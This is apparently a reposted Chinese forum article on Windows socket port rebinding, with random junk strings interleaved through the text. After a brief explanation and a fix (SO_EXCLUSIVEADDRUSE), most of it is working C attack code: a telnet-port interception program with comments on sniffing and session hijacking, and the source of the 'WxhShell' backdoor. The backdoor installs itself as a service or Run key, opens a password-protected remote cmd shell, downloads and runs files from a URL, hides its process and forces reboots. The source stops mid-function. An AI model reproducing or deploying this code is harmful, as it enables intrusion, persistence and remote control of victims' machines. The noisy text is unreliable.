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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @xZR9Z8]L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]M'=^32 u>/ TE saddr.sin_family = AF_INET; 61
~upQaR t&Og $@ saddr.sin_addr.s_addr = htonl(INADDR_ANY); BL58] P84 RzusNS bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $u6
3]rypm H 7
^/q7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~< x:q6
y18Y:)DkL 这意味着什么?意味着可以进行如下的攻击: 6\S~P/PkE 9]@!S|1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P
L+sR3bR /,Jqmm#s^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R_xRp&5 .w,q0<} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HE_8(Ms;8 9Lfv^V0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 5ms(Wd G 9vpt M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G9@0@2aY8 @AuO`I@p= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?b5^ !$>R j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Nl(Foya%) eKqk= ( #include EAby?51+ #include i(+p0:< 0 #include y L~W.H #include d8x;~RA DWORD WINAPI ClientThread(LPVOID lpParam); ?@
$r int main() e64 ^ChCoV { -C&P%tt Y WORD wVersionRequested; vgN&K@hJ DWORD ret; 0'o:#- WSADATA wsaData; @!d{bQd, BOOL val;
1ZB"EQ SOCKADDR_IN saddr; _8agtQ:< SOCKADDR_IN scaddr; $]2vvr int err; :S(ZzY
Q SOCKET s; n@[O|?S SOCKET sc; %GIr&V4| int caddsize; MR.'t9m2L HANDLE mt; xFg>SJ7] DWORD tid; yJe>JK~) wVersionRequested = MAKEWORD( 2, 2 ); qA5r err = WSAStartup( wVersionRequested, &wsaData ); t.\dpBq if ( err != 0 ) { T37XBg H printf("error!WSAStartup failed!\n"); %BB%pC return -1; TrR8?- } _/<x saddr.sin_family = AF_INET; j^2j&Ta {+Cy U!O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QoH6 @49S` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0Pi:N{x8 saddr.sin_port = htons(23); &~U ] ~;@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B@
KQ]4- { ('p5:d printf("error!socket failed!\n"); P J[`| return -1; ^\,E&=/}M } K@w{"7} val = TRUE; 0NX,QD //SO_REUSEADDR选项就是可以实现端口重绑定的 4tmAzD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l0i^uMS { "i W"NFO printf("error!setsockopt failed!\n"); g5r(>, vY return -1; r^ ZEImjc } lBGQEP3; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K8Y=S12Ti //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uOdl*| T? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c<$OA=n gjzuG<7m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x;<W&s}( { CYYU7 ret=GetLastError(); Uq`'}Vo printf("error!bind failed!\n"); >Wg hn:^ return -1;
ls)%c } {h`uV/5@` listen(s,2); As<bL:>dE while(1) Jo23P.#< { 1|-Dj| caddsize = sizeof(scaddr); 8E]F$.6U //接受连接请求 RhLVg~x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3I-MdApT if(sc!=INVALID_SOCKET) q;)JISf. { rguC p}r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $z*'fXg if(mt==NULL) u!qP { h>OfOx/{q9 printf("Thread Creat Failed!\n"); 85xR2 <: break; hODWB&b } 'Ne@e)s9 } 1c{DY CloseHandle(mt); aPbE;"
f } Q^txVUL closesocket(s); ^eYVWQ' WSACleanup(); LTx,cP return 0; }Y36C.@H } [87,s.MK DWORD WINAPI ClientThread(LPVOID lpParam) %;YHt=(1*X { $(>+VH`l SOCKET ss = (SOCKET)lpParam; RF0HjgP SOCKET sc; hSyql unsigned char buf[4096]; #],&>n7' SOCKADDR_IN saddr; F6flIG&h long num; i5,kd~%O DWORD val; y>e.~5; DWORD ret; 9j:"J` ' //如果是隐藏端口应用的话,可以在此处加一些判断 C#Iybg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )gy!GK saddr.sin_family = AF_INET; HEc+;O1< saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XFV!S#yEZ saddr.sin_port = htons(23); )
M BQuiL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w%BL { qR+!l( printf("error!socket failed!\n"); 54li^ return -1; +pn
N!:q } cY. bO/&l val = 100; ><HE;cVg? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ysf~|r4s { W'+:'_{ j: ret = GetLastError(); n3
r3"~i return -1; :@A9](gI } _8UDT^?8, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M%;hB*9 { L.0mk_& ret = GetLastError(); ]G< Vg5 return -1; v9O~@v{= } Q%mB|i|
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ':m,)G5& { m<"WDU?y; printf("error!socket connect failed!\n"); HYSIN^<oy closesocket(sc); tr}Loq\y closesocket(ss); 2n"V}p>8i# return -1; _?0}<kQ& } VUR |OV% while(1) |02gup qqi { i|*)I:SHU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ocS5SB]8 //如果是嗅探内容的话,可以再此处进行内容分析和记录 -"60d
@. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H6 HVu | num = recv(ss,buf,4096,0); @eIJ]p if(num>0) q\p:X"j| send(sc,buf,num,0); tQYM&6g else if(num==0) +@k+2?]
FO break; RcU}}V num = recv(sc,buf,4096,0); ' x35=@ if(num>0) uurh??R send(ss,buf,num,0); !6>~?gNd else if(num==0) Hm'=aff6A break; O]Qd<%V'x } 3Xy-r=N. l closesocket(ss); en*GM}<V closesocket(sc); G`BU=Fi return 0 ; 4s{~r } (uZ&V7l '|p$)yx2 HqD^B[jS ========================================================== Pax|x15 ^)*-Bo)I 下边附上一个代码,,WXhSHELL
^J)mH[ !"/n/jz ========================================================== T\j{Bi5 \J 8jo p_PG' #include "stdafx.h" 0rG^,(3m `gf0l /d #include <stdio.h> D}8[bWF #include <string.h> ?FF4zI~ #include <windows.h> kw%};; #include <winsock2.h> "PTZ%7YH} #include <winsvc.h> (~wqa 3 #include <urlmon.h> X1-'COQS%& qPy1;maXP #pragma comment (lib, "Ws2_32.lib") kN4{13Qs* #pragma comment (lib, "urlmon.lib") 64G[|" j D k" PayyAC #define MAX_USER 100 // 最大客户端连接数 ?3zc=J"t #define BUF_SOCK 200 // sock buffer \Vy Z #define KEY_BUFF 255 // 输入 buffer "8^
Ch{G- n+q!l&& #define REBOOT 0 // 重启 Zxs|%bQ #define SHUTDOWN 1 // 关机 !()$8 ^^as'Dk #define DEF_PORT 5000 // 监听端口 }Nm#q@o$P jiS_G%G #define REG_LEN 16 // 注册表键长度 6vNrBB #define SVC_LEN 80 // NT服务名长度 %Iv,@}kvT+ S:oi<F // 从dll定义API :AF =<X*5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;=;
9tX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dj7hx"BI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6GSI"M6s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lc,tVe_ ,\ // wxhshell配置信息 h!.^?NF struct WSCFG { p#?7w int ws_port; // 监听端口 TNY&asQo char ws_passstr[REG_LEN]; // 口令 GyIT{M}KV int ws_autoins; // 安装标记, 1=yes 0=no *|C^=*j9 char ws_regname[REG_LEN]; // 注册表键名 T;y>>_, char ws_svcname[REG_LEN]; // 服务名 $oU*9}}Rn char ws_svcdisp[SVC_LEN]; // 服务显示名 b TM{l.Aq3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 %GA"GYL9' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vAh6+K.e int ws_downexe; // 下载执行标记, 1=yes 0=no ,3p~w5C/+[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" BJsz2t :0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #W'HR >
BY&,4r }; wq(7|!Eix Z/0fXn}) // default Wxhshell configuration
(SDr!!V< struct WSCFG wscfg={DEF_PORT, uU <=d "xuhuanlingzhe", 7-
]
as$ 1, bg&zo;Ck8T "Wxhshell", ;/fF,L{c "Wxhshell", sRx63{ "WxhShell Service", y7
3VFb "Wrsky Windows CmdShell Service", %]DP#~7[| "Please Input Your Password: ", ")dH,:#S 1, 1V4s<m># " http://www.wrsky.com/wxhshell.exe", -tHU6s, "Wxhshell.exe" .
Z.)t }; MgOR2,cR =2zJ3&9 // 消息定义模块 (k) l=]`} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1[qLA!+ char *msg_ws_prompt="\n\r? for help\n\r#>"; G!W[8UG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; bRJMYs char *msg_ws_ext="\n\rExit.";
1 +qw$T char *msg_ws_end="\n\rQuit."; /!Wu D\B char *msg_ws_boot="\n\rReboot..."; }Q?c"H!/ char *msg_ws_poff="\n\rShutdown..."; f3&[#% char *msg_ws_down="\n\rSave to "; iZNts%Y] ;WM"cJo9 char *msg_ws_err="\n\rErr!"; $Ifmc`r1 char *msg_ws_ok="\n\rOK!"; - UdEeZz. [}/LD3 char ExeFile[MAX_PATH]; u7\J\r4,+ int nUser = 0; i2YuOV! HANDLE handles[MAX_USER]; Q}K#'Og int OsIsNt; {QZUDPPR z4+k7a@jn SERVICE_STATUS serviceStatus; [16cFqD SERVICE_STATUS_HANDLE hServiceStatusHandle; T:Hr&ws4 M?:c)&$]D // 函数声明 Q6AC(n@:FV int Install(void); 8XzR
wYV int Uninstall(void); L
ugn3+ int DownloadFile(char *sURL, SOCKET wsh); Rhz_t@e int Boot(int flag); `m>*d!h= void HideProc(void); :x{NBvUIc int GetOsVer(void); S\5bmvqP" int Wxhshell(SOCKET wsl); B}?5]N==] void TalkWithClient(void *cs); (
Qcp{q int CmdShell(SOCKET sock); ~ !
3I2 int StartFromService(void); `m?c;,\ int StartWxhshell(LPSTR lpCmdLine); qT"Q1xU[ Bck7\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |8=nL$u VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,:`4% jJY"{foWV // 数据结构和表定义 f3{MvAy[ SERVICE_TABLE_ENTRY DispatchTable[] = ]*FVz$>XM { vj\d A2!~ {wscfg.ws_svcname, NTServiceMain}, U{z9> {NULL, NULL} %D8ZO0J7H }; 7L@K _ZJ W4e5Rb4~f" // 自我安装 ryCI>vJz int Install(void) Y$Y_fjd_ { .J.-Mm`. char svExeFile[MAX_PATH]; I1\a[Xe8E HKEY key; T ;vF( strcpy(svExeFile,ExeFile); Ucm :S-
Nwt" \3 // 如果是win9x系统,修改注册表设为自启动 Bj}^\Pc;} if(!OsIsNt) { 2eC(Ijq[a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !V\Q<So< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T
G{k0cdOT RegCloseKey(key); ZAUQJS 91E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 92d6U2T4& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Hn`'+b RegCloseKey(key); )\be2^p return 0; ks97k8B } 80&.JP. } TJ'[-- } D3^7y.u<) else { 'XofD}dm I_%a{$Gjl // 如果是NT以上系统,安装为系统服务 ?(m
jx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vR=6pl$|~~ if (schSCManager!=0) J9Ou+6 u( { 9D}/\jM SC_HANDLE schService = CreateService ,FMx5$ ( ivz>dJ ?T schSCManager, Q~Hh\L t wscfg.ws_svcname, }gMDXy} wscfg.ws_svcdisp, 4e;yG> SERVICE_ALL_ACCESS,
wm")[!h)v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WN5`;{\ SERVICE_AUTO_START, bi&*9K0 SERVICE_ERROR_NORMAL, W4U@%b do svExeFile, UybW26C;aU NULL, pY~,(s|Qb NULL, b0A1hb[| NULL,
qY$qaM^= NULL, Fxqp-}: NULL n?ctLbg ); ~$ f;U if (schService!=0) E55t*^` { !\#_Jw%y CloseServiceHandle(schService); a/U2xq{x CloseServiceHandle(schSCManager); PN<C=gAe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bb`':3% strcat(svExeFile,wscfg.ws_svcname); aKlUX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;?~$h-9) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gEhN3( RegCloseKey(key); u#A<hq; return 0; `^Eae } N2$I}q% } E)-r+ <l CloseServiceHandle(schSCManager); }KK Y6D|d> } X3:XTuV } 2gjGeM zrv#Xa!O\ return 1; Gqcz<=/ } L9ap( zT|)uP* // 自我卸载 7Irau_ int Uninstall(void) o/
mF# { m6yIR6H HKEY key; 8W+gl=C~ JwRF(1_sM if(!OsIsNt) { `)h6j)xiQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J~iBB~x. RegDeleteValue(key,wscfg.ws_regname); p!V>XY'N^ RegCloseKey(key); Z,;cCxE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ror|R@;y RegDeleteValue(key,wscfg.ws_regname); %Lrd6i_j RegCloseKey(key); Enq|Y$qm return 0; T<joRR } CBKkBuKuk } j9U%7u]-k } qXW})( else { J.+BD\pa =GBI0&U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z6~
H:k1G% if (schSCManager!=0) XJ+6FT/qss { %77p5ctW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $RwB_F if (schService!=0) oi&Wo'DX { &Q=ZwC7# if(DeleteService(schService)!=0) { (zYy}g#n CloseServiceHandle(schService); ]:$
O{y CloseServiceHandle(schSCManager); L~/qGDXC? return 0; b*mKei } >x@P|\ CloseServiceHandle(schService); c<BO gNr } CG&`16KN7 CloseServiceHandle(schSCManager); '[(nmx'yVJ } M4LktR-[ } Xvok1NM,
/n^c>) return 1; s NHSr } @l(vYJ:f T\# *S0^ // 从指定url下载文件 G>Em!4h int DownloadFile(char *sURL, SOCKET wsh) Q_"\Q/=?Do { nCvPB/- HRESULT hr; ] 43bere char seps[]= "/"; i=32KI(% char *token; V'2EPYB char *file; +1Ph<zq" char myURL[MAX_PATH]; Lx U={Y0 char myFILE[MAX_PATH]; 5[9bWB{ X#UMIlU strcpy(myURL,sURL); wj|x:YZ* token=strtok(myURL,seps); aSYs_?&. while(token!=NULL) zMK](o1Vj { &MgeYpd file=token; \hP=-J [~C token=strtok(NULL,seps); jN+N(pIi.o } Zx?b<"k 6ZqgY1 GetCurrentDirectory(MAX_PATH,myFILE);
0gF!!m strcat(myFILE, "\\"); cM &'[CI strcat(myFILE, file); HT_TP q send(wsh,myFILE,strlen(myFILE),0); Y/8K;U| send(wsh,"...",3,0); [$(R#tZ+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cQZ652F9 if(hr==S_OK) $\Tkhq< return 0; VnJMmMM else h?yG<>wI return 1; 2vKx]w >1irSUj"~ } A~{f/%8D AzpV4(:an. // 系统电源模块 $ 'QdFkOr int Boot(int flag) ]&i+!$N_ { [{<dbW\ 9 HANDLE hToken; 6a>H|"PNE TOKEN_PRIVILEGES tkp; W*xX{$NL >^"BEG9i: if(OsIsNt) { M`,XyIn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =j
/hl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I7\
&Z q tkp.PrivilegeCount = 1; W)SjQp6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s3lwu :4f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TL)O- if(flag==REBOOT) { gS"Q=ZK" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r7!J&8;{K return 0; JK~ m(oQ } P-JfV 7(O8 else { +ydm,aKk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WA.\*Nqz e return 0; 4W\,y_Q o } ]Bb7(JX } mKg@W;0ML else { ke.7Zp2.R if(flag==REBOOT) { GZ0aOpUWVq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WY)^1Gb$ux return 0; <3 j~=- } h K}bj else { 2neRJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]?9[l76O7 return 0; %XXkVK` } O
rk } 1 2]fQkp nY) .|\|i return 1; de-0?6 } ZZ
A.a i@<~"~>]7 // win9x进程隐藏模块 /?zW<QUI void HideProc(void) j+748QAhh { bGh0<r7R %7`d/dgR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wm6dQQ;Bj if ( hKernel != NULL ) iWXMKu { ^w6eWzI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5urE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y%vP#>h FreeLibrary(hKernel); ixOw=!@ } WhUa^ "jU return; bBE^^9G=Z } }g,X5v?W z=?0)e(H, // 获取操作系统版本 'rV2Bt, int GetOsVer(void) 6hbEO-( { C"T ,MH OSVERSIONINFO winfo; AZ8UXq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tm xP Oe GetVersionEx(&winfo); BpXEK.Xw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HRRngk#lV return 1; f0F#Yi{fw else VA]ZR+m return 0; _XN~@5elrC } F|]rA*2u 9c5!\m1 // 客户端句柄模块 oBUh]sR{. int Wxhshell(SOCKET wsl) &8Wlps` { ]b\WaS8I SOCKET wsh; Rk[8Bd?
struct sockaddr_in client; iH _"W+dq DWORD myID; *7vue"I*Z ^X;JT=r while(nUser<MAX_USER) U3q5^{0d/ { byj[u!{ int nSize=sizeof(client); z`9l<Q/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {dZ8;Fy4 if(wsh==INVALID_SOCKET) return 1; 9XN~Ln@} aT/KT,! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2?*1~ 5~I if(handles[nUser]==0) `t\z closesocket(wsh); 2wOy}: else I;iR(Hf)?q nUser++; lWl-@*' } w})NmaT;YF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `hF;$ g Np-f return 0; l_sg)Vr/b } v =bv@c ZmO'IT=Ye // 关闭 socket }Ch[|D=Wd6 void CloseIt(SOCKET wsh) 3&'R1~Vh { Cs;<'[_?YO closesocket(wsh); NQ3|\<Wt nUser--; i~AJ.@
#
ExitThread(0); AuM:2N2 } L(Rorf~V 'qlxAYw<f // 客户端请求句柄 QW:Z[?39^ void TalkWithClient(void *cs) B#H2RTc { $:HLRl{2E W.GN0(uG SOCKET wsh=(SOCKET)cs; <VgE39 [ char pwd[SVC_LEN]; XDvq7ZD char cmd[KEY_BUFF]; ,9$>d}N char chr[1]; K \m4*dOv int i,j; :6sGX p 'XME?H:q a while (nUser < MAX_USER) { z7$}#)Z7 g BH?l/ if(wscfg.ws_passstr) { <e^6.!;W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bAdAp W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); up7x)w: //ZeroMemory(pwd,KEY_BUFF); QZ9M{Y/ i=0; ees^O{ 8 while(i<SVC_LEN) { R=DPeUy; 8ST~$!z$ // 设置超时 |7Yvq%E fd_set FdRead; \Qb>: struct timeval TimeOut; s2%0#6c'c FD_ZERO(&FdRead); t-a`.y FD_SET(wsh,&FdRead); Dl@{}9 TimeOut.tv_sec=8; aliQ6_ TimeOut.tv_usec=0; \c'%4Ao int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0I6499FQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7j{Te)" CYMM*4# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I[a%a!QO pwd =chr[0]; [j1^$n 8V if(chr[0]==0xd || chr[0]==0xa) { mKMGdN~ pwd=0; |4LQ\'N& break; 012:BZR } orK +B4 i++; S@;&U1@h } 'II
vub#q ^$ZI>L0+ // 如果是非法用户,关闭 socket "&s9cO.H if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -!JlM@ } "
-<}C%C tzP@3+.w send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); </2,2AV4q* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CrT2#h 1# 'G3+2hah while(1) { 0qotC6l~_w y:^>(l #; ZeroMemory(cmd,KEY_BUFF); k7Be'E
BKG 1Q2k>q8 // 自动支持客户端 telnet标准 Fc{6*wtO j=0; hBY h90] while(j<KEY_BUFF) { ?@,f[ U- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \CEnOq cmd[j]=chr[0]; k:HSB</} if(chr[0]==0xa || chr[0]==0xd) { 1_dMe%53 cmd[j]=0; NIXc ib"tG break; c?3F9w# } *9U4^lJjn j++; wYS
KtG~/S } \Im\*A dBD4ogo1 // 下载文件 s+\qie if(strstr(cmd,"http://")) { TckR_0LNV send(wsh,msg_ws_down,strlen(msg_ws_down),0); x2IU PM if(DownloadFile(cmd,wsh)) HZQ3Ht 3Vh send(wsh,msg_ws_err,strlen(msg_ws_err),0); }SvWC8 else #o |&MV_j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sZP3xh[B } A ** M"T else { 5]n<%bP\ Rb>RjHo S switch(cmd[0]) { CCvBE, ux s!RA_%8/> // 帮助 Dqcu$V] case '?': { R(Pa Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zxmI/]3+/ break; ii]=C(e9 } 3ijI2Zy // 安装 CR PE?CRQF case 'i': { ALieUf if(Install()) [<1+Q =; send(wsh,msg_ws_err,strlen(msg_ws_err),0); [q{Txe else 3 BhA.o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L-:L=
snO break; tJF~Xv2L! } TOF62, // 卸载 3V!&y/c< case 'r': { D$!p+Q if(Uninstall()) +T-zf@j send(wsh,msg_ws_err,strlen(msg_ws_err),0); NF.6(PG| else V+<AG*[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nX aX= break; (<~R[sT| } }Z$G=;3# // 显示 wxhshell 所在路径 v2X0Px_ case 'p': { F3|pS: char svExeFile[MAX_PATH]; ]Sx=y< strcpy(svExeFile,"\n\r"); |DS@90} strcat(svExeFile,ExeFile); F?AfB[PM send(wsh,svExeFile,strlen(svExeFile),0); l7y`$8Co break; +=04X F: } 6@*;Wk~ // 重启 `Ta(P30
case 'b': {
KGwL09) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \#c+vfq if(Boot(REBOOT)) r!gCh`PiK send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>/MKMq! else { dC|#l?P closesocket(wsh); 9nAK6$/ ExitThread(0); &>B>+}' } )$N{(Cke2T break; =WRU<`\ } U$J_:~ // 关机 { RX| case 'd': { x9
L\" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); . pEeR if(Boot(SHUTDOWN)) g;Q^_4@ send(wsh,msg_ws_err,strlen(msg_ws_err),0);
]p.f*] else { NGZ>: closesocket(wsh); T.N7` ExitThread(0); 1gK3=Ys } !fjU?_[S break; MQMy Z: } >gLyz2 // 获取shell n|2-bRK- case 's': { QjbPBk Q CmdShell(wsh); vX24W*7 closesocket(wsh); 84\o7@$# ExitThread(0); `mTxtuid{ break; `l#$l3v+ } QHz76i!=> // 退出 p<['FRf" case 'x': { !+ hgKZ] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {!bJ.O
l CloseIt(wsh); t[ocp;Q break; T mE4p } !h(0b*FUJ // 离开 J%B?YO, case 'q': { yC$7XSr= send(wsh,msg_ws_end,strlen(msg_ws_end),0); -T6%3>h closesocket(wsh); =W^L8!BE' WSACleanup(); Z6ex<[`I exit(1); ?kefRev<#h break; R6.#gb8^oS } +34jot.! } )BrqE uX@" } 3`q`W9 oob0^}^ // 提示信息 j2n@8sCSO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]}c=U@D,9 } . M$D } a{.n(M pD/S\E0@t return; oIgj)AY< } )q-!5^ak CU&,Kq@ // shell模块句柄 9xp
;$14 int CmdShell(SOCKET sock) h"S/D[ { .H.v c_/ STARTUPINFO si; ^:j:;\; ZeroMemory(&si,sizeof(si)); <p
.[E]a2_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g5\B- 3{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \H12~=p`B PROCESS_INFORMATION ProcessInfo; en": char cmdline[]="cmd"; 8R D)yRJ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pU/.|Sh return 0; 4w[ta?&6B } A+8b]t_k ~'mhC46d // 自身启动模式 LvdMx]*SSr int StartFromService(void) EHjhez { ri`|qy6! | typedef struct [AwE { !d_A? q'hN DWORD ExitStatus; c:T P7"vG DWORD PebBaseAddress; !IU*Ayg DWORD AffinityMask; 6*Qpq7Ml DWORD BasePriority; xb>+~5 9: ULONG UniqueProcessId; Ey%NqOs0# ULONG InheritedFromUniqueProcessId; mg]dK p } PROCESS_BASIC_INFORMATION; Ca|;8ggf nVD
YAg' PROCNTQSIP NtQueryInformationProcess; WRM}gWv* A/aQpEb% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gQwmYe static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cxdM!L; ` n4,J#h/ HANDLE hProcess; %9M49s PROCESS_BASIC_INFORMATION pbi;
x$I>e iDJ2dM}v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u>Hx#R<*% if(NULL == hInst ) return 0; X=~QE}x #n
